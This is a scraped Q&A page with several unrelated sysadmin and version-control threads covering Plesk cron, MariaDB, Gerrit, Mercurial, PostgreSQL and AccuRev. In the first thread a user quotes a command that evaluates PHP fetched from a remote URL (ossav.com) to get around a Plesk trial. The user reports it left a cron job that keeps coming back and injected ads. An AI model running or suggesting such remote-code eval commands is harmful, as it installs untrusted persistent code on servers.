Undeleted crontab - ssh

there is a cron i delete it is not deleted. Please help me. I used this code to use Plesk trial. Now it has added ads to the Panel and I can't delete the cronjob.
I tried crontab -r but no use, it returns automatically.
No matter how many times I try it won't be deleted. I deleted it from the Plesk panel but it comes back immediately. I can't add another license because of this.
this is the code
/usr/local/psa/admin/bin/php -er "eval(file_get_contents('https://ossav.com/PTC'));"

Related

Can I undo the last few transaction, or revert to yesterday in MariaDB?

I have an SQL file containing several commands, when I need to make a correction to my application database that the application can't yet do, I use DBVis to select and execute the command I need (e.g. to delete an incorrect entry). Problem is, the button to run the whole page is right next to the button to run a selected command. So I just dropped and re-created my table, losing all my data. Is there a way to undo this?
I'm looking to either 'undo' each command until I get back to the right place, or revert back to yesterday, where I know everything was correct.
Thanks!
Yes, you can if...
your administration tool did set autocommit=OFF by default, you can
just execute a ROLLBACK (or just shutdown your administration tool)
If latter doesn't work, check if your binary log was enabled, and restore with mysqlbin log tool
If none of the above mentioned solution works, use your (probably not existent) backup for restoring

Fully delete abandoned commit from Gerrit DB AND 'query'

I am trying to fully purge a change from Gerrit and running into some problems.
Previously I tried to follow this guide to achieve my goal:
https://www.onyxpoint.com/deleting-abandoned-commits-from-gerrit-code-review/
I messed this up however, and somehow managed to do the following:
Purge the offending change-id from all the tables in the Gerrit gsql database
The change still appears in the web-interface, but if I click on it, it fires an error: "The page you requested was not found, or you do not have permission to view this page."
If I run 'gerrit query' for the change, it still shows up, replete with all information.
Where is the change information coming from if it is not in the DB??? I also tried flushing all caches. Is it somewhere in the search index for lucene or something?
This is not super important, but it is really driving me nuts!
In my case, I didn't have to perform a re-index. But an additional step(5):
Open the GSQL interface
$ gerrit-cli gsql
The following command will mark the change set as a draft change set in the Gerrit database.
gerrit> update changes set status='d' where change_id='64581';
Next, update the associated patch sets.
gerrit> update patch_sets set draft='Y' where change_id='64581';
gerrit> \q
Prior to making further changes, you need to make sure that the Gerrit caches have been flushed. If you don’t do this, you may end up with strange
results when using the Web UI in relation to this change set.
$ gerrit-cli flush-caches --cache changes
Ensure that the administrator has "View Drafts" and "Delete Drafts" permission on the repo for refs/*
Finally, delete the patch set(s) that you had previously abandoned.
In this case, we’re going to assume that you have two patch sets to
delete.
$ gerrit-cli review 64581,1 --delete
$ gerrit-cli review 64581,2 --delete
Deleting each patch-set one by one can be a PITA. Nuke 'em in one go using the GUI:
Queries use Gerrit's secondary index (by default Lucene-based) so if you modify the database outside of Gerrit you have to reindex the data with the reindex command:
$ java -jar path/to/gerrit.war reindex -d path/to/gerrit-site-dir
This command should only be executed when Gerrit isn't running.

Mercurial does not show modified file

I've been working with Mercurial (on windows and using TortoiseHg) for some time now, but today I experienced something I just do not understand.
I'm sure, that I've made some modifications to a file (view.xaml). When I manually compare the local file with the one committed to the repository, I can identify the modifications. But when I do a hg status it does not show any modified files...
First thing I checked was, that I had actually saved my work. While doing this, I noticed, that in the windows explorer, it showed the file as modified for just a short time (like 10-20 seconds). Then it changed again and showed as unmodified.
Second thing I checked was the ignore list and view.xaml is not on the ignore list.
Can anyone enlighten me, as to why Mercurial does not show this file as modified?

How to delete a table in postgresql

There is a postgresql installation on my server that worked fine so far. However now there is a single table (all other tables work fine) which I cannot open through pgadmin3 or drop.
I've tried restarting the server. Didn't help. I also tried dropping the table with DROP TABLE from the command line on the server. It's just stuck. I've executed the command and it has been just hanging in the console for the past hour.
I don't know what to do. Is there a file I could erase in the data directory perhaps?
Most probably explanation: some other open transaction is holding an exclusive lock on the table.
You are using pgAdmin, so you can check with Tools -> Server Status. The activity pane lists all current connections. For instance, there is one (or more) listings for every open SQL window. Look for long running connections.
You can also try to issue a DROP TABLE and check this list. With any luck you'll see what blocks it. Once you have identified the troublemaker and made sure, it's not needed, you might be able to kill the process. Might be vacuuming gone haywire because of bad settings ..
That, or something is seriously broken.
You could try taking a dump of the database and see if that works? Also have a look at the http://www.postgresql.org/docs/9.1/static/runtime-config-logging.html#GUC-CLIENT-MIN-MESSAGES and log_min_messages options. Change that to debug and see what is happening when you try to drop the table.
In Case of Windows Users. Try restarting Postgresql by follwowing these steps: Start -> Run -> (then type in:) services.msc. Select Local postgresql Server and then press "Restart." Now, go ahead and try deleting the database or the table you wanted to delete (Via pgAdmin). Hope it helps.

Move file in one AccuRev workspace that has been edited in another workspace

We have a need to refactor a code base. The thing is that this will be done by one person and it would be desirable to avoid having the rest of the development team sitting idle while this job takes place.
We therefore tried the following scenario to see if it is possible to work in parallel.
Created file test.txt in directory first in developer A's workspace.
Promoted this file.
Updated developer B's workspace, thereby getting file test.txt
In A's workspace moved file test.txt to directory second.
Promoted this move.
In B's workspace edited file test.txt while it still resides in directory first (no update is made thereby emulating that work is done while refactoring is taking place).
Tried to promote and got a message saying that file test.txt had been modified (correct, file has been moved).
Tried to merge but got an error message saying that AccuRev can't merge since the file is missing in directory second (where it has been moved).
Tried to update B's workspace but that is not allowed since there is a modified file that needs to be merged first.
We are now stuck in a catch 22 situation.
We did try to place a fake file in directory second but that is not being recognized since this file does not belong to the workspace.
Has anyone out there tried something like this and gotten it to work?
It is of course possible to copy files but if there is a better way we would be grateful to hear about this. Or if this is a known bug or limitation in the tool.
We will contact also contact AccuRev support but I thought that I might be able to get some useful tips from the community.
Currently we are using AccuRev client 5.5.0.
Thanks for any suggestions on how to make the tool support this operation.
Referring to your steps 6 & 7: In AccuRev 5.5 after a file is edited and has a (modified) status you first have to keep before you can promote.
At step 8 you could try doing the merge from the Browse Versions view of the file. That way you can select any node to merge with, including the one that has been moved.
Step 9. An AccuRev update will not run successfully if one of the files to be updated is (modified). This is by design. You can keep the file so it has (kept)(member) status then run the update.
David Howland
After contact with AccuRev support the answer is that the only option available is to copy the file to some temp directory, revert the changes, update the workspace and copy the file into the new location in the workspace.
AccuRev will at least tell you which files you have to copy since they will be marked as modified.
I could experimentally verify David's remark to step 9 using AccuRev 5.5.
Let's assume that in the workspace of user A the file was moved and the move was promoted, while in the workspace of user B the file was modified and user B is about to promote his/her change.
Before the file is kept, it will not be possible for user B neither to merge nor to update. But after keeping the modified file the update is possible. The file is first marked as overlap, then the merge succeeds in the new location. Basically, this avoids creating a copy of the file, reverting it and restoring it in the new location after an update, which can be quite cumbersome, as AccuRev does not reveal easily where the move goes.
If user B promotes the modification before user A promotes the move, all goes smoothly, i.e. on update the moved file appears as overlap, but easily merges into the moved file in the new location.
Similar results are obtained when the two users have workspaces connected to different streams and the overlap occurs on a common parent stream. Only if the file is unkept, an error can occur (i.e. only if the move is promoted before the change). Then a simple keep allows to proceed as usual (update, merge, then promote).